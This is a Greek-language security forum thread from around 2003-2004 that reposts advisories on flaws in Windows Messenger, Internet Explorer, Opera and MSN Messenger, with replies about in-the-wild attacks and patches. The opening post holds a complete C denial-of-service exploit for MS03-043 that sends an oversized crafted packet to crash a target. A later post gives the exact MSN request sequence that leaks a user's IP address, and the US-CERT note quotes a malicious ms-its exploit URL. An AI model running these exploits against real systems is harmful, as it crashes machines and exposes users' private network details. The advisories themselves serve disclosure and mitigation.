# Software > Ασφάλεια >  Επίπεδο πελατών

## Mick Flemm

Εδώ θα postάρονται θέματα σχετικά με διάφορα προγράμματα που χρησιμοποιούμε για να συνδεθούμε σε κάποιον server, π.χ. browsers, multiplayer Games, VoIP clients, p2p programs και ότι άλλο βάλει ο νους σας...

----------


## Mick Flemm

*Windows Mesenger...*



```
/*

DoS Proof of Concept for MS03-043 - exploitation shouldn't be too hard.
Launching it one or two times against the target should make the machine
reboot. Tested against a Win2K SP4.

"The vulnerability results because the Messenger Service does not properly
validate the length of a message before passing it to the allocated buffer"
according to MS bulletin. Digging into it a bit more, we find that when a
character 0x14 in encountered in the 'body' part of the message, it is replaced
by a CR+LF. The buffer allocated for this operation is twice the size of the
string, which is the way to go, but is then copied to a buffer which was only
allocated 11CAh bytes. Thanks to that, we can bypass the length checks and
overflow the fixed size buffer.

Credits go to LSD :)

*/

#include <stdio.h>
#include <winsock.h>
#include <string.h>
#include <time.h>

// Packet format found thanks to a bit a sniffing
static unsigned char packet_header[] =
"\x04\x00\x28\x00"
"\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0"
"\x4f\xb6\xe6\xfc"
"\xff\xff\xff\xff" // @40 : unique id over 16 bytes ?
"\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\xff\xff\xff\xff"
"\xff\xff\xff\xff" // @74 : fields length
"\x00\x00";

unsigned char field_header[] =
"\xff\xff\xff\xff" // @0 : field length
"\x00\x00\x00\x00"
"\xff\xff\xff\xff"; // @8 : field length

int main(int argc,char *argv[])
{
int i, packet_size, fields_size, s;
unsigned char packet[8192];
struct sockaddr_in addr;
// A few conditions :
// 0 <= strlen(from) + strlen(machine) <= 56
// max fields size 3992
char from[] = "RECCA";
char machine[] = "ZEUS";
char body[4096] = "*** MESSAGE ***";

WSADATA wsaData;

WSAStartup(0x0202, &wsaData);

ZeroMemory(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("192.168.186.3");
addr.sin_port = htons(135);

ZeroMemory(packet, sizeof(packet));
packet_size = 0;

memcpy(&packet[packet_size], packet_header, sizeof(packet_header) - 1);
packet_size += sizeof(packet_header) - 1;

i = strlen(from) + 1;
*(unsigned int *)(&field_header[0]) = i;
*(unsigned int *)(&field_header[8]) = i;
memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
packet_size += sizeof(field_header) - 1;
strcpy(&packet[packet_size], from);
packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

i = strlen(machine) + 1;
*(unsigned int *)(&field_header[0]) = i;
*(unsigned int *)(&field_header[8]) = i;
memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
packet_size += sizeof(field_header) - 1;
strcpy(&packet[packet_size], machine);
packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

fprintf(stdout, "Max 'body' size (incl. terminal NULL char) = %d\n", 3992 - packet_size + sizeof(packet_header) - sizeof(field_header));
memset(body, 0x14, sizeof(body));
body[3992 - packet_size + sizeof(packet_header) - sizeof(field_header) - 1] = '\0';

i = strlen(body) + 1;
*(unsigned int *)(&field_header[0]) = i;
*(unsigned int *)(&field_header[8]) = i;
memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
packet_size += sizeof(field_header) - 1;
strcpy(&packet[packet_size], body);
packet_size += i;

fields_size = packet_size - (sizeof(packet_header) - 1);
*(unsigned int *)(&packet[40]) = time(NULL);
*(unsigned int *)(&packet[74]) = fields_size;

fprintf(stdout, "Total length of strings = %d\nPacket size = %d\nFields size = %d\n", strlen(from) + strlen(machine) + strlen(body), packet_size, fields_size);

/*
for (i = 0; i < packet_size; i++)
{
if (i && ((i & 1) == 0))
fprintf(stdout, " ");
if (i && ((i & 15) == 0))
fprintf(stdout, "\n");
fprintf(stdout, "%02x", packet[i]);
}
fprintf(stdout, "\n");
*/
if ((s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
exit(EXIT_FAILURE);

if (sendto(s, packet, packet_size, 0, (struct sockaddr *)&addr, sizeof(addr)) == -1)
exit(EXIT_FAILURE);
/*
if (recvfrom(s, packet, sizeof(packet) - 1, 0, NULL, NULL) == -1)
exit(EXIT_FAILURE);
*/

exit(EXIT_SUCCESS);
}
```

----------


## Mick Flemm

*Internet Explorer*

[tested]
OS:Win2k3,CN version
IE: with MS03-048 installed.

OS:WinXp, CN version
Microsoft Internet Explorer v6.Sp1; up-to-date on 2003/11/16

[overview]
By combining several vulnerabilities in Internet Explorer, an attacker can execute his EXE file on victim's system.
("Clean" means: there is no old published vulnerability involved in this exploit)

[demo]
There is a harmless demo:
http://www.safecenter.net/UMBRELLAWEBV4 ... index.html
(runs harmless demonstration executable)

[technical details]
First, use MhtRedirParsesLocalFile to parse a local file in an IFRAME,
(Liu Die Yu's http://www.safecenter.net/UMBRELLAWEBV4 ... sLocalFile)
Then, use BackToFramedJpu to reach MYCOMPUTER zone.
(Liu Die Yu's http://www.safecenter.net/UMBRELLAWEBV4/BackToFramedJpu)
At last, in MYCOMPUTER security zone, use MhtRedirLaunchInetExe to download the payload EXE file and execute it.
(Liu Die Yu's http://www.safecenter.net/UMBRELLAWEBV4 ... nchInetExe)

[Workaround]
Disable Active Scripting in INTERNET zone.

[Greetings]
greetings to:
Drew Copley, dror, guninski and mkill.

-----
all mentioned resources can always be found at UMBRELLA.MX.TC

[people]
LiuDieyuinchina [[email protected]] yahoo.com.cn
UMBRELLA.MX.TC ==> How to contact "Liu Die Yu"

[message]
A wise man learns from other's mistakes; a fool learns from his own.

[Employment]
I would like to work professionally as a security researcher/bug finder. 

See my resume at my site. I am very eager to work, flexible, and 
extremely productive. I have a top notch resume, with credentials 
from leading bug finders. I am willing to work per contract, relocate, 
or telecommute. 

[Give a Hand]
I haven't got a job as a security researcher yet and my family don't support my security work - so, I don't have a computer of my own. Please consider about donating at:
http://clik.to/donatepc

----------


## Mick Flemm

*Opera*

0. PRODUCT
============

Opera for windows is a GUI based WEB Browser.
Opera Software ASA (http://www.opera.com/)


1. DESCRIPTION
================

Opera 7 has a serious Security-Hole in the auto-install function
for Skin Files and Configuration Files.
When a user goes to a malicious Web site, attackers can exploit
this Security-Hole and make an arbitrary file on arbitrary path
inside of user's Local Disk from a WEB page.

With this Security-Hole, there could be following risks;

* Infection with Virus or Trojan, etc.
* Destruction of the system.
* Leak or alteration of the local data.


2. SYSTEMS AFFECTED
=====================

7.22 build 3221 (JP:build 3222)
7.21 build 3218 (JP:build 3219)
7.20 build 3144 (JP:build 3145)
7.1x
7.0x

All of version 7.xx above has this Security-Hole.


3. EXAMINES
=============

Opera for Windows:
Opera 7.22 build 3221 (JP:build 3222)
Opera 7.21 build 3218 (JP:build 3219)
Opera 7.20 build 3144 (JP:build 3145)
Opera 7.11 build 2887
Opera 7.11 build 2880
Opera 7.10 build 2840
Opera 7.03 build 2670
Opera 7.02 build 2668
Opera 7.01 build 2651

Platform:
Windows 98SE Japanese
Windows 2000 Professional SP4 Japanese
Windows XP Professional SP1 Japanese


4. WORKAROUND
===============

Main Menu "Preferences" -> "File Types", MIME-type list;
(check-off "Hide file types opened with Opera")

application/x-opera-skin
application/x-opera-configuration-skin
application/x-opera-configuration-mouse
application/x-opera-configuration-keyboard
application/x-opera-configuration-toolbar
application/x-opera-configuration-menu

If you change the actions of all MIME types above from
"Open with Opera" to "Show download dialog" or etc,
the auto-install function will be disabled and you can avoid
this vulnerability.

If you want to re-enable the auto-install function, change the
actions of these MIME types to "Open with Opera".


5. TECHNICAL DETAILS
======================

Opera 7 has the auto-install function for Skin File, and version
7.10 or later has the same one for Configuration Files.
This auto-install function will be executed when Opera gets an
arbitrary file with MIME-types from a Remote Server;
"application/x-opera-configuration-XXXXX" or "application/x-opera
-skin".
When Opera receives a file and one of these MIME-types, whether
user accept them or not, the file will automatically be saved
with the name that was used while downloading to the directory
for Configuration Files in the User-Directory or Installed-
Directory.
But this automatically saved file's name is not sanitized enough.
Therefore, the file could be saved in any directory which can be
specified with a relative path when the file name contains the
illegal character string '..%5C'. Even though the directory is
outside of expected scope.
(This is restricted within the directory that Opera's process
can write and the existing files cannot be overwritten and deleted.)

For example, if an executable file was saved in the start-up
directory and it ran when a user reboots computer, the user would
face a risk of Virus infection or Trojan horse running inside.
Moreover, the executable file could be for destroying a computer,
deleting data or any kinds of malicious one.

In addition, this vulnerability is different from other
vulnerabilities like buffer overflow, any advanced skills
are not necessary for exploiting. So we assume this is
highly dangerous for users.


Additional Description:

Mr. S. G. Masood has reported a similar vulnerability on 12 Nov 2003
while we were researching on this vulnerability. 
And it was announced that the vulnerability Mr. Masood reported has
fixed at version 7.22.
Though, what we researched has higher severity and hasn't been
fixed yet even at version 7.22 now.


6. SAMPLE CODE
================

The sample code can be found on our WEB page.

http://opera.rainyblue.org/adv/opera06-autosaved-en.php


7. TIME TABLE & VENDOR STATUS
===============================

2003-09-30 Discovered this vulnerability.
2003-11-20 Reported to vendor.
2003-11-20 Vendor said "we have already fixed it in 7.23".
2003-11-21 Released this advisory.


8. DISCLAIMER
===============

A. We cannot guarantee the accuracy of all statements in this information.
B. We do not anticipate issuing updated versions of this information
unless there is some material change in the facts.
C. And we will take no responsibility for any kinds of disadvantages by
using this information.
D. You can quote this advisory without our permission if you keep the following;
a. Do not distort this advisory's content.
b. A quoted place should be a medium on the Internet.
E. If you have any questions, please contact to us.


9. CONTACT, ETC
=================

:: Operash :: http://opera.rainyblue.org/

imagine (Operash Webmaster)
nesumin <nesumin_at_softhome.net>


Thanks to :

melorin
piso(sexy)

----------


## Mick Flemm

*Internet Explorer*


IE Remote Compromise by Getting Cache Location

[tested]
OS:WinXp, CN version
Microsoft Internet Explorer v6.Sp1; up-to-date on 2003/11/16

[overview]
With the help of LocalZoneInCache(refer to "[technical details]" part), an attacker can compromise a user's system even though the user has:
1. Customized IE cache directory,
2. Applied MS03-048 patch,
3. Set killbit for ADODB.STREAM ActiveX.

[demo]
online demo, powered by ASP:
http://www.safecenter.net/UMBRELLAWEBV4 ... index.html
(runs harmless demonstration executable)

[technical details]
execdror6 is derived from execdror5.
(Liu Die Yu's http://www.safecenter.net/UMBRELLAWEBV4/execdror5/) 
execdror6 differs from execdror5 in that:
1st, execdror6 uses LocalZoneInCache to reach MYCOMPUTER security zone.
(Liu Die Yu's http://www.safecenter.net/UMBRELLAWEBV4 ... index.html)
2nd, execdror6 gets IE cache directory directly from location.href.
(LocalZoneInCache makes attaker's HTML page opened in cache directory.)

[Workaround]
Disable Active Scripting in INTERNET zone, so HTML page opened in the cache can't send information back to the attacker.

[Greetings]
greetings to:
Drew Copley, dror, guninski, vadim and mkill.

-----
all mentioned resources can always be found at UMBRELLA.MX.TC

[people]
LiuDieyuinchina [[email protected]] yahoo.com.cn
UMBRELLA.MX.TC ==> How to contact "Liu Die Yu"

[Employment]
I would like to work professionally as a security researcher/bug finder. 

See my resume at my site. I am very eager to work, flexible, and 
extremely productive. I have a top notch resume, with credentials 
from leading bug finders. I am willing to work per contract, relocate, 
or telecommute. 

[Give a Hand]
I haven't got a job as a security researcher yet and my family don't support my security work - so, I don't have a computer of my own. Please consider about donating at:
http://clik.to/donatepc

----------


## Mick Flemm

*MSN Messenger*

Release Date:
20/11/03

Discovery date:
Sometime around 2001 or 2000

Versions Affected:
------------------

Msn messenger 1.0 -> msn messenger 6.0.0602
Windows messenger all versions

Not Affected:
------------

Msn Messenger 6.1, trillian, gaim

Description:
-----------

A bug exists in Microsofts msn messenger client. 
MSN messenger improperly parses the fields during
file transfer invitation requests. Particularly 
the request ip field. This makes it possible to 
trick the msn client into giving *away* the users 
ip address without him/her accepting the file 
transfer first.

The bug happens when a specially crafted MSG requests
are issued to the switchboard server and then
relayed onto the client. Upon receiving each
request from the switchboard the client seems
to incorrectly process the Ip-Address field
without first waiting for userB to accept the
file that is being attempted to be sent. It seems
the reason for this bug is that the msn client
seems to unsafelly depend on client of userB to send the
sequences and fields in those sequences in the
order in which is expected. A malicious user however
could construct a program that sends them in the
incorrect order and requests userB for the ip
address before userB asks userA for its ip address
and userBs client will falselly hand out the ip
address. This circumvents the whole thing and
allows us to invade the users privacy by handing
out such sensitive info.

Below are example of *expected* exchange of data
(this however can be exploited)

Example:

>>> MSG 4 N 277
MIME-Version: 1.0
Content-Type: text/x-msmsgsinvite; charset=UTF-8

Application-Name: File Transfer
Application-GUID: {5D3E02AB-6190-11d3-BBBB-00C04F795683}
Invitation-Command: INVITE
Invitation-Cookie: 33267
Application-File: readme.txt
Application-FileSize: 60904


<<< MSG [email protected] Tim 179
MIME-Version: 1.0
Content-Type: text/x-msmsgsinvite; charset=UTF-8

Invitation-Command: ACCEPT
Invitation-Cookie: 33267
Launch-Application: FALSE
Request-Data: IP-Address:


>>> MSG 4 N 238
MIME-Version: 1.0
Content-Type: text/x-msmsgsinvite; charset=UTF-8

Invitation-Command: ACCEPT
Invitation-Cookie: 33267
IP-Address: 10.44.102.65
Port: 6891
AuthCookie: 93301
Launch-Application: FALSE
Request-Data: IP-Address:

However to exploit the bug we would send the below 

"MSG 1 N 275\r\n"
"MIME-Version: 1.0\r\n"
"Content-Type: text/x-msmsgsinvite; charset=UTF-8\r\n"
"\r\n"
"Application-Name: File Transfer\r\n"
"Application-GUID: {5D3E02AB-6190-11d3-BBBB-00C04F795683}\r\n"
"Invitation-Command: INVITE\r\n"
"Invitation-Cookie: 1\r\n"
"Application-File: wanker.\xdd\xff\xcf\xee\xcd\x0a\x0fjpg\r\n"
"Application-FileSize: 10\r\n"
"MSG 2 N 191\r\n" 
"MIME-Version: 1.0\r\n"
"Content-Type: text/x-msmsgsinvite; charset=UTF-8\r\n"
"\r\n"
"Invitation-Command: ACCEPT\r\n"
"Invitation-Cookie: 1\r\n"
"AuthCookie: 10\r\n"
"Launch-Application: FALSE\r\n"
"Request-Data: IP-Address:\r\n"
"MSG 3 N 143\r\n"
"MIME-Version: 1.0\r\n"
"Content-Type: text/x-msmsgsinvite; charset=UTF-8\r\n"
"\r\n"
"Invitation-Command: CANCEL\r\n"
"Invitation-Cookie: 1\r\n"
"Cancel-Code: TIMEOUT\r\n"

We should get a response of something like below

Invitation-Command: ACCEPT
Invitation-Cookie: 1
IP-Address: 81.131.24.31
Port: 6892
PortX: 11181
AuthCookie: 15784036
Launch-Application: FALSE
Request-Data: IP-Address:

Code will be made public sometime in the future to
demonstrate the bug.

Severity:
~~~~~~~~~

This bug has been activelly exploited in the wild.
Due to the transition to the new msnp protocol
however many of the variants that derived due to
sniffing of the original now do not work but it
is only a matter of time when a new version is
made widelly available.

Possible fix/workaround:
~~~~~~~~~~~~~~~~~~~~~~~

The problem may be fixed to some extend by using the
messenger disallow list to block any uninvited users
that are not on your allow list. This way you cannot
be exploited unless you specifically trust the user
and he is on your allow list.

A mechanism must be included in the msn messenger
client implementation that first checks that userB
has accepted the file userA is trying to send
before processing the Request-Data: Ip-Address: 
field. It seems pretty sad that MS cannot even
get this right even if its later rather than sooner, 
especially when all third party clients seem to have 
such a mechanism in place thats worked effectivelly. 
I have tested this technique extensivelly with others 
such as trillian and these seem to be safe.

Upgrade to msn messenger 6.1

Credit:
Discovery: Brice aka THR

Feedback
Please send suggestions or comments to:

[email protected]

----------


## Achille

Η Microsoft έκανε πάλι το θαύμα της... το exploit για τον ΙΕ λειτουργεί κανονικότατα, και στο Windows Update δεν υπάρχει κανένα update available.

----------


## racer

Νέο vulnerability για τον IE. Επιδή τα λέει λίγο μπερδεμένα να σας πώ εγώ απλά οτι στην περίπτωση που βγεί σχετικό exploit το impact θα έιναι αντίστοιχο με αυτό του blaster (τα PC να κολάνε μόνα τους χωρίς ο ιδιοκτίτης να φτέει σε κάτι η να κάνει κάτι).





```
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Vulnerability in Internet Explorer ITS Protocol Handler

   Original release date: April 8, 2004
   Last revised: --
   Source: US-CERT

Systems Affected

     * Microsoft Windows systems running Internet Explorer

Overview

   A cross-domain scripting vulnerability in Microsoft Internet Explorer
   (IE) could allow an attacker to execute arbitrary code with the
   privileges of the user running IE. The attacker could also read and
   manipulate data on web sites in other domains or zones.

I. Description

   There is a cross-domain scripting vulnerability in the way ITS
   protocol handlers determine the security domain of an HTML component
   stored in a Compiled HTML Help (CHM) file. The HTML Help system
   "...uses the underlying components of Microsoft Internet Explorer to
   display help content. It supports HTML, ActiveX, Java, [and] scripting
   languages (JScript, and Microsoft Visual Basic Scripting Edition)."
   CHM files use the InfoTech Storage (ITS) format to store components
   such as HTML files, graphic files, and ActiveX objects. IE provides
   several protocol handlers that can access ITS files and individual CHM
   components: its:, ms-its:, ms-itss:, and mk:@MSITStore:. IE also has
   the ability to access parts of MIME Encapsulation of Aggregate HTML
   Documents (MHTML) using the mhtml: protocol handler.

   When IE references an inaccessible or non-existent MHTML file using
   the ITS and mhtml: protocols, the ITS protocol handlers can access a
   CHM file from an alternate source. IE incorrectly treats the CHM file
   as if it were in the same domain as the unavailable MHTML file. Using
   a specially crafted URL, an attacker can cause arbitrary script in a
   CHM file to be executed in a different domain, violating the
   cross-domain security model.

   Any programs that use the WebBrowser ActiveX control or the IE HTML
   rendering engine (MSHTML) may be affected by this vulnerability.
   Internet Explorer, Outlook, and Outlook Express are all examples of
   such programs. Any programs, including other web browsers, that use
   the IE protocol handlers (URL monikers) could function as attack
   vectors. Also, due to the way that IE determines MIME types, HTML and
   CHM files may not have the expected file name extensions (.htm/.html
   and .chm respectively).

   NOTE: Using an alternate web browser may not mitigate this
   vulnerability. It may be possible for a web browser other than IE on a
   Windows system to invoke IE to handle ITS protocol URLs.

   US-CERT is tracking this issue as VU#323070. This reference number
   corresponds to CVE candidate CAN-2004-0380.

II. Impact

   By convincing a victim to view an HTML document such as a web page or
   HTML email message, an attacker could execute script in a different
   security domain than the one containing the attacker's document. By
   causing script to be run in the Local Machine Zone, the attacker could
   execute arbitrary code with the privileges of the user running IE. The
   attacker could also read or modify data in other web sites (including
   reading cookies or content and modifying or creating content).

   Publicly available exploit code exists for this vulnerability. US-CERT
   has monitored incident reports that indicate that this vulnerability
   is being exploited. The Ibiza trojan, variants of W32/Bugbear, and
   BloodHound.Exploit.6 are some example of malicious code that exploit
   this vulnerability. It is important to note that any arbitrary
   executable payload could be delivered via this vulnerability, and
   different anti-virus vendors may identify malicious code with
   different names.

   A malicious web site or email message may contain HTML similar to the
   following:

     ms-_its:mhtml:file://C:\nosuchfile_mht!http://www.example.com//expl
     oit_chm::exploit_html

     (This URL is intentionally modified to avoid detection by
     anti-virus software.)

   In this example, HTML and script in exploit.html will be executed in
   the security context of the Local Machine Zone. It is common practice
   for exploit.html to either contain or download an executable payload
   such as a backdoor, trojan horse, virus, bot, or other malicious code.

   Note that it is possible to encode a URL in an attempt to bypass HTTP
   content inspection or anti-virus software.

III. Solution

   Currently, there is no complete solution for this vulnerability. Until
   a patch is available, consider the workarounds listed below.
   Disable ITS protocol handlers

   Disabling ITS protocol handlers appears to prevent exploitation of
   this vulnerability. Delete or rename the following registry keys:

     HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Handler\{ms-its,ms-it
     ss,its,mk}

   Disabling these protocol handlers will significantly reduce the
   functionality of the Windows Help system and may have other unintended
   consequences. Plan to undo these changes after patches have been
   tested and installed. Follow good Internet security practices

   These recommended security practices will help to reduce exposure to
   attacks and mitigate the impact of cross-domain vulnerabilities.

     * Disable Active scripting and ActiveX controls

       NOTE: Disabling Active scripting and ActiveX controls will not
       prevent the exploitation of this vulnerability.

       Disabling Active scripting and ActiveX controls in the Internet
       and Local Machine Zones may stop certain types of attacks and will
       prevent exploitation of different cross-domain vulnerabilities.

       Disable Active scripting and ActiveX controls in any zones used to
       read HTML email.

       Disabling Active scripting and ActiveX controls in the Local
       Machine Zone will prevent malicious code that requires Active
       scripting and ActiveX controls from running. Changing these
       settings may reduce the functionality of scripts, applets, Windows
       components, or other applications. See Microsoft Knowledge Base
       Article 833633 for detailed information about security settings
       for the Local Machine Zone. Note that Service Pack 2 for Windows
       XP includes these changes.

     * Do not follow unsolicited links

       Do not click on unsolicited URLs received in email, instant
       messages, web forums, or Internet relay chat (IRC) channels.

     * Maintain updated anti-virus software

       Anti-virus software with updated virus definitions may identify
       and prevent some exploit attempts. Variations of exploits or
       attack vectors may not be detected. Do not rely solely on
       anti-virus software to defend against this vulnerability. More
       information about viruses and anti-virus vendors is available on
       the US-CERT Computer Virus Resources page.

Appendix B. References

     * Vulnerability Note VU#323070 -
       <http://www.kb.cert.org/vuls/id/323070>

     * US-CERT Computer Virus Resources -
       <http://www.us-cert.gov/other_sources/viruses.html>

     * CVE CAN-2004-0380 -
       <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0380>

     * Introduction to URL Security Zones -
       <http://msdn.microsoft.com/workshop/s...verview/overvi
       ew.asp>

     * About Cross-Frame Scripting and Security -
       <http://msdn.microsoft.com/workshop/a..._scripting_sec
       urity.asp>

     * MIME Type Determination in Internet Explorer -
       <http://msdn.microsoft.com/workshop/n...er/overview/ap
       pendix_a.asp>

     * URL Monikers -
       <http://msdn.microsoft.com/workshop/n...er/monikers.as
       p>

     * Asynchronous Pluggable Protocols -
       <http://msdn.microsoft.com/workshop/n...able/pluggable
       .asp>

     * Microsoft HTML Help 1.4 SDK -
       <http://msdn.microsoft.com/library/en...ml/vsconHH1Sta
       rt.asp>

     * Microsoft Knowledge Base Article 182569 -
       <http://support.microsoft.com/default.aspx?scid=182569>

     * Microsoft Knowledge Base Article 174360 -
       <http://support.microsoft.com/default.aspx?scid=174360>

     * Microsoft Knowledge Base Article 833633 -
       <http://support.microsoft.com/default.aspx?scid=833633>

     * Windows XP Service Pack 2 Technical Preview -
       <http://www.microsoft.com/technet/pro...pro/sp2preview.
       mspx >

     * AusCERT Update AU-2004.007 - <http://www.auscert.org.au/3990>
     _________________________________________________________________

   This vulnerability was reported by Thor Larholm.
     _________________________________________________________________

   Feedback can be directed to the author: Art Manion.
     _________________________________________________________________

   Copyright 2004 Carnegie Mellon University.

   Terms of use:

<http://www.us-cert.gov/legal.html>

   Revision History

   April 8, 2004: Initial release
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQFAdbqQXlvNRxAkFWARAtfuAKD0NGSDWbtITNqXKmZk7qcbJD/h2QCfRlU/
sWme3VvhRbvk9KjNUNyTsbY=
=kL0G
-----END PGP SIGNATURE-----Zk7qcbJD/h2QCfRlU/
sWme3VvhRbvk9KjNUNyTsbY=
=kL0G
-----END PGP SIGNATURE-----
```

----------


## MerNion

Δυστυχώς το συγκεκριμένο vulnerability (δεν ξέρω αν είναι ακριβως αυτό, πάντως με τα chm έχει να κάνει πάλι) το έχει εκμεταλευτεί κάποιος μ@λ@κας και είχε πριν λίγες μέρες γεμίσει ο τόπος στο irc με infected χρήστες που έκαναν spam μία σελίδα (users.volja.net αν θυμάμαι καλά). Οταν το κοίταξα είδα οτι "έπαιζε" με ένα chm αρχείο, το οποίο κατέβενε και εκτελούσε αρκετά πράγματα χωρίς να πάρει χαμπάρι ο χρήστης (αυτός έβλεπε ένα αστείο flash από μιά άλλη σελίδα)

----------


## racer

Άρα είναι πιθανό να υπάρχουνε ήδη exploits. Μεγάλη προσχή λοιπόν, εγώ πάντος έσβησα τα keys απ το registry μέχρι να βγεί patch. Έτσι κι αλιώς δέν χρισιμοποιώ το help  ::

----------


## racer

Ενημέρωση:

Σήμερα βγήκανε καινούργια advisories και τα αντίστοιχα updates για διάφορα MS products (περιλαμβανομένων Outlook & IE).

----------


## Acinonyx

> Νέο vulnerability για τον IE. Επιδή τα λέει λίγο μπερδεμένα να σας πώ εγώ απλά οτι στην περίπτωση που βγεί σχετικό exploit το impact θα έιναι αντίστοιχο με αυτό του blaster (τα PC να κολάνε μόνα τους χωρίς ο ιδιοκτίτης να φτέει σε κάτι η να κάνει κάτι).


Έβγαλαν patch μετά από 2 μήνες...

http://www.microsoft.com/downloads/d...DisplayLang=en

----------


## Mick Flemm

Deprecated...

----------

